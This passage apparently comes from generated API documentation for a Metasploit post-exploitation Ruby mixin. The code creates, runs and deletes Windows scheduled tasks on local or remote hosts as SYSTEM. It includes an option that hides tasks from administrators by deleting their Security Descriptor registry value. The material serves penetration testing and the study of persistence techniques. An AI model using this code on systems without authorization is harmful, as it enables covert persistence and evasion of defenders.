    vprint_warning(msg) if respond_to?(:vprint_warning)
    wlog(msg)
  when :error
    vprint_error(msg) if respond_to?(:vprint_error)
    elog(msg)
  end
end

.reg_key_value_exists?(reg_key, reg_value, opts = {}) ⇒ Boolean

Returns:

  • (Boolean)


432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 432

def reg_key_value_exists?(reg_key, reg_value, opts = {})
  remote_host = opts[:remote_system].present? || datastore['ScheduleRemoteSystem'].present?
  result = false
  if remote_host
    begin
      result = run_one_off_task("reg query \\\"#{reg_key}\\\" /v \\\"#{reg_value}\\\"", check_success: true)
    rescue TaskSchedulerError => e
      log_and_print("[Task Scheduler] Could not query the key value remotely: #{e}")
    end
  else
    # The `/reg:64` flag is here to force read/write to the 64-bit
    # registry location. This is mandatory when the Meterpreter session
    # is x86 and the OS is x64. Since it is ignored on 32-bit systems,
    # we will always use it. Also, this option doesn't exist on Windows
    # XP/Server 2003, we need to remove it or it will fail.
    result = cmd_exec_with_result("reg query \"#{reg_key}\" /v \"#{reg_value}\"#{' /reg:64' unless @old_os}")[1]
  end

  result
end

.run_one_off_task(cmd, check_success: false) ⇒ Object



386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 386

def run_one_off_task(cmd, check_success: false)
  result = nil
  task_name = Rex::Text.rand_text_alpha(rand(8..15))
  log_and_print("[Task Scheduler] Creating the remote task #{task_name} to run '#{cmd}'")
  # Obfuscation is not possible since #run_one_off_task will be called
  # again by #task_create when it checks if the registry key value
  # exists. This will enter an infinite loop, creating tasks on the
  # remote host until it explodes. We certainly don't want this to happen!
  opts = { task_type: 'ONCE', runas: 'SYSTEM', obfuscation: 'NONE' }
  task_create(task_name, cmd, opts)

  log_and_print("[Task Scheduler] Starting the remote task #{task_name}")
  task_start(task_name)

  if check_success
    log_and_print('[Task Scheduler] Checking if the task succeeded')
    result = false
    try = 0
    task_info = nil
    has_run = loop do
      break false unless try < 5

      try += 1
      log_and_print("[Task Scheduler] Checking if the task has run already (##{try})")
      sleep 1
      task_info = task_query(task_name)[0]
      break true if task_has_run?(task_name, task_info) && !task_is_still_running?(task_name, task_info)
    end
    if has_run
      # The result is '0' if it succeeded
      last_result = task_info_field(task_name, task_info, 'Last Result')
      result = last_result == '0'
      if result
        log_and_print('[Task Scheduler] It seems to have succeeded')
      else
        log_and_print("[Task Scheduler] It seems to have failed (0x#{last_result.to_i.to_s(16)})", level: :warning)
      end
    end
  end

  log_and_print("[Task Scheduler] Deleting the remote task #{task_name}")
  task_delete(task_name, opts)

  result
end

.schtasks_exec(schtasks_cmd_str, with_result: false) ⇒ Object



319
320
321
322
323
324
325
326
327
328
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 319

def schtasks_exec(schtasks_cmd_str, with_result: false)
  log_and_print("[Task Scheduler] executing command: #{schtasks_cmd_str}")
  # Using a longer timeout in case the task scheduler operation takes place
  # on a remote host. The default timeout is not enough.
  result = cmd_exec_with_result(schtasks_cmd_str, nil, 240)
  return result if with_result
  unless result[1]
    raise TaskSchedulerError, "Command execution failed: #{result[0]}"
  end
end

.task_has_run?(task_name, task_info) ⇒ Boolean

Returns:

  • (Boolean)


376
377
378
379
380
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 376

def task_has_run?(task_name, task_info)
  # Depending on the Windows version, the 'Last Run Time' field is set
  # to '11/30/1999 12:00:00 AM' or 'N/A' when the task has not run yet
  !['11/30/1999 12:00:00 AM', 'N/A'].include?(task_info_field(task_name, task_info, 'Last Run Time'))
end

.task_info_field(task_name, task_info, key) ⇒ Object



354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 354

def task_info_field(task_name, task_info, key)
  task_name = task_name.delete_prefix('"').delete_suffix('"')
  key = key.delete_prefix('"').delete_suffix('"')
  task_info = task_info.lines
  title_array = task_info.shift&.split(',')
  return unless title_array

  index_taskname = title_array.find_index { |v| v == '"TaskName"' }
  return unless index_taskname

  index = title_array.find_index { |v| v == "\"#{key}\"" }
  return unless index

  task_info.each do |line|
    value_array = line.split(',')
    next unless value_array[index_taskname] == "\"\\#{task_name}\""

    return value_array[index]&.delete_prefix('"')&.delete_suffix('"')
  end
  nil
end

.task_is_still_running?(task_name, task_info) ⇒ Boolean

Returns:

  • (Boolean)


382
383
384
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 382

def task_is_still_running?(task_name, task_info)
  task_info_field(task_name, task_info, 'Last Result') == SCHED_S_TASK_RUNNING.to_s
end

Instance Method Details

#initialize(info = {}) ⇒ Object



34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 34

def initialize(info = {})
  super

  register_advanced_options(
    [
      OptEnum.new(
        'ScheduleType', [
          true,
          'Schedule frequency for the new created task.',
          DEFAULT_SCHEDULE_TASK_TYPE,
          %w[MINUTE HOURLY DAILY WEEKLY MONTHLY ONCE ONSTART ONLOGON ONIDLE]
        ]
      ),
      # This defines the amount of minutes/hours/days/weeks/months,
      # depending on the ScheduleType value. When ONIDLE type is used,
      # this represents how many minutes the computer is idle before
      # the task starts. This value is not used with ONCE, ONSTART and
      # ONLOGON types
      OptInt.new(
        'ScheduleModifier', [
          false,
          'Schedule frequency modifier to define the amount of \'ScheduleType\'',
          DEFAULT_SCHEDULE_MODIFIER
        ],
        conditions: ['ScheduleType', 'in', %w[MINUTE HOURLY DAILY WEEKLY MONTHLY ONIDLE] ]
      ),
      # Remote task creation does not seem to work on Windows XP and Windows Server 2003
      OptString.new(
        'ScheduleRemoteSystem', [
          false,
          'The remote system to connect to (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.'
        ]
      ),
      # Use the permissions of this remote user account to schedule the
      # task remotely. It is recommended to inform the domain or '.\'
      # if it is a local user (e.g. MYDOMAIN\User1 or .\Administrator).
      # Also, when `ScheduleRemoteSystem` is set and not
      # `ScheduleUsername` and `SchedulePassword`, the current user
      # credentials are used.
      OptString.new(
        'ScheduleUsername', [
          false,
          'User account to schedule the task remotely.'
        ],
        conditions: ['ScheduleRemoteSystem', 'nin', [nil, '']]
      ),
      OptString.new(
        'SchedulePassword', [
          false,
          'Password of the user account set in \'ScheduleUsername\'.'
        ],
        conditions: ['ScheduleRemoteSystem', 'nin', [nil, '']]
      ),
      OptString.new(
        'ScheduleRunAs', [
          false,
          'Execute the task under this user account (default: SYSTEM).',
          DEFAULT_SCHEDULE_RUNAS
        ]
      ),
      # Hide the task from "schtasks /query" and Task Scheduler by
      # deleting the associated Security Descriptor registry value.
      # Note that SYSTEM privileges are needed for this. It will try to
      # elevate privileges if the session is not already running under
      # the SYSTEM user.',
      OptEnum.new(
        'ScheduleObfuscationTechnique', [
          false,
          'Hide the task from "schtasks /query" and Task Scheduler (WARNING: the current '\
          'session will be elevated to SYSTEM if it is not already) for this.',
          DEFAULT_SCHEDULE_OBFUSCATION_TECHNIQUE,
          %w[NONE SECURITY_DESC]
        ]
      )
    ], self.class
  )
end

#setupObject



112
113
114
115
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 112

def setup
  super
  check_compatibility
end

#task_create(task_name, task_cmd, opts = {}) ⇒ Object

Create a scheduled task on a local or remote system. Options are set from the datastore but can be overridden with the opts hash.

Parameters:

  • task_name (String)

    The name of the task to be created

  • task_cmd (String)

    The command that will be executed by the task

  • opts (Hash) (defaults to: {})

    The options to create the task

Options Hash (opts):

  • :task_type (String)

    The schedule frequency for the new created task. This can be one of these type: MINUTE HOURLY DAILY WEEKLY MONTHLY ONCE ONSTART ONLOGON ONIDLE.

  • :modifier (String)

    The schedule frequency modifier to define the amount of :task_type

  • :runas (String)

    The account under which the task will be executed

  • :obfuscation (String)

    The obfuscation technique used to hide the task from "schtasks /query" and Task Scheduler when the OS support it. The possible technique are:

    • NONE: no obfuscation will be performed

    • SECURITY_DESC: The Security Descriptor registry entry corresponding to this task is removed to hide it. It will try to elevate privileges if the session is not already running under the SYSTEM user.

  • :remote_system (String)

    The remote system to connect to (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.

  • :username (String)

    The user account to schedule the task remotely

  • :password (String)

    The password of the user account set in :username



141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 141

def task_create(task_name, task_cmd, opts = {})
  schtasks_cmd = ['/create']
  task_type = opts[:task_type] || (datastore['ScheduleType'].present? ? datastore['ScheduleType'] : DEFAULT_SCHEDULE_TASK_TYPE)
  schtasks_cmd += ['/tn', "\"#{task_name}\"", '/tr', "\"#{task_cmd}\"", '/sc', task_type]
  if %w[MINUTE HOURLY DAILY WEEKLY MONTHLY ONIDLE].include?(task_type)
    modifier = opts[:modifier] || (datastore['ScheduleModifier'].present? ? datastore['ScheduleModifier'].to_s : DEFAULT_SCHEDULE_MODIFIER.to_s)
    if task_type == 'ONIDLE'
      schtasks_cmd += ['/i', modifier]
    else
      schtasks_cmd += ['/mo', modifier]
    end
  end
  unless %w[ONSTART ONLOGON ONIDLE].include?(task_type)
    schtasks_cmd += ['/st', '00:00:00']
  end
  runas = opts[:runas] || (datastore['ScheduleRunAs'].present? ? datastore['ScheduleRunAs'] : DEFAULT_SCHEDULE_RUNAS)
  schtasks_cmd += ['/ru', runas]
  schtasks_cmd << '/f' unless @old_schtasks

  begin
    schtasks_exec(get_schtasks_cmd_string(schtasks_cmd, opts))
  rescue TaskSchedulerError => e
    log_and_print("[Task Scheduler] Task creation failed: #{e}", level: :error)
    raise
  end

  # We want to make sure `opts` has preference over the datastore option
  obfuscation = opts.fetch(:obfuscation, datastore['ScheduleObfuscationTechnique'])
  return if obfuscation.nil? || obfuscation == 'NONE'

  begin
    delete_reg_key_value("#{TASK_REG_KEY}\\#{task_name}", TASK_SD_REG_VALUE, opts)
  rescue TaskSchedulerObfuscationError => e
    log_and_print("[Task Scheduler] Task obfuscation failed: #{e}")
    raise TaskSchedulerObfuscationError, 'Task obfuscation failed (the task has been created but won\'t be hidden)'
  end
end

#task_delete(task_name, opts = {}) ⇒ Object

Delete a scheduled task. Options are set from the datastore but can be overridden with the opts hash.

Parameters:

  • task_name (String)

    The name of the task to be deleted

  • opts (Hash) (defaults to: {})

    The options to delete the task

Options Hash (opts):

  • :obfuscation (String)

    The obfuscation technique used to hide the task from "schtasks /query" and Task Scheduler when the OS support it. Set this option to the correct technique in order to be able to delete the task properly. The possible technique are:

    • NONE: no obfuscation has been performed

    • SECURITY_DESC: The Security Descriptor registry entry corresponding to this task was removed to hide it. This will restore it before attempting to delete the task. For this, it will also try to elevate privileges if the session is not already running under the SYSTEM user.

  • :remote_system (String)

    The remote system to connect to (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.

  • :username (String)

    The user account to run the task remotely

  • :password (String)

    The password of the user account set in :username



217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 217

def task_delete(task_name, opts = {})
  # We want to make sure `opts` has preference over the datastore option
  obfuscation = opts.fetch(:obfuscation, datastore['ScheduleObfuscationTechnique'])
  if obfuscation && obfuscation != 'NONE'
    begin
      add_reg_key_value("#{TASK_REG_KEY}\\#{task_name}", TASK_SD_REG_VALUE, DEFAULT_SD, 'REG_BINARY', opts)
    rescue TaskSchedulerObfuscationError => e
      log_and_print("[Task Scheduler] Task deletion failed: #{e}")
      raise TaskSchedulerError, 'Task deobfuscation failed. The task cannot be deleted.'
    end
  end

  schtasks_cmd = ['/delete', '/tn', task_name, '/f']
  schtasks_exec(get_schtasks_cmd_string(schtasks_cmd, opts))
rescue TaskSchedulerError => e
  log_and_print("[Task Scheduler] Task deletion failed: #{e}", level: :error)
  raise
end

#task_query(task_name, opts = {}) ⇒ Object

Display the scheduled task information. Options are set from the datastore but can be overridden with the opts hash.

Parameters:

  • task_name (String)

    The name of the task to be display

  • opts (Hash) (defaults to: {})

    The options to display the task

Options Hash (opts):

  • :remote_system (String)

    The remote system to connect to (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.

  • :username (String)

    The user account to run the task remotely

  • :password (String)

    The password of the user account set in :username



246
247
248
249
250
251
252
253
254
255
256
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 246

def task_query(task_name, opts = {})
  if @old_os
    schtasks_cmd = ['/query', '/v', '/fo', 'csv']
  else
    schtasks_cmd = ['/query', '/tn', task_name, '/v', '/fo', 'csv', '/hresult']
  end
  schtasks_exec(get_schtasks_cmd_string(schtasks_cmd, opts), with_result: true)
rescue TaskSchedulerError => e
  log_and_print("[Task Scheduler] Task querying failed: #{e}", level: :error)
  raise
end

#task_start(task_name, opts = {}) ⇒ Object

Immediately run a scheduled task. Options are set from the datastore but can be overridden with the opts hash.

Parameters:

  • task_name (String)

    The name of the task to be run

  • opts (Hash) (defaults to: {})

    The options to run the task

Options Hash (opts):

  • :remote_system (String)

    The remote system to connect to (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.

  • :username (String)

    The user account to run the task remotely

  • :password (String)

    The password of the user account set in :username



189
190
191
192
193
194
195
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 189

def task_start(task_name, opts = {})
  schtasks_cmd = ['/run', '/tn', task_name]
  schtasks_exec(get_schtasks_cmd_string(schtasks_cmd, opts))
rescue TaskSchedulerError => e
  log_and_print("[Task Scheduler] Task starting failed: #{e}", level: :error)
  raise
end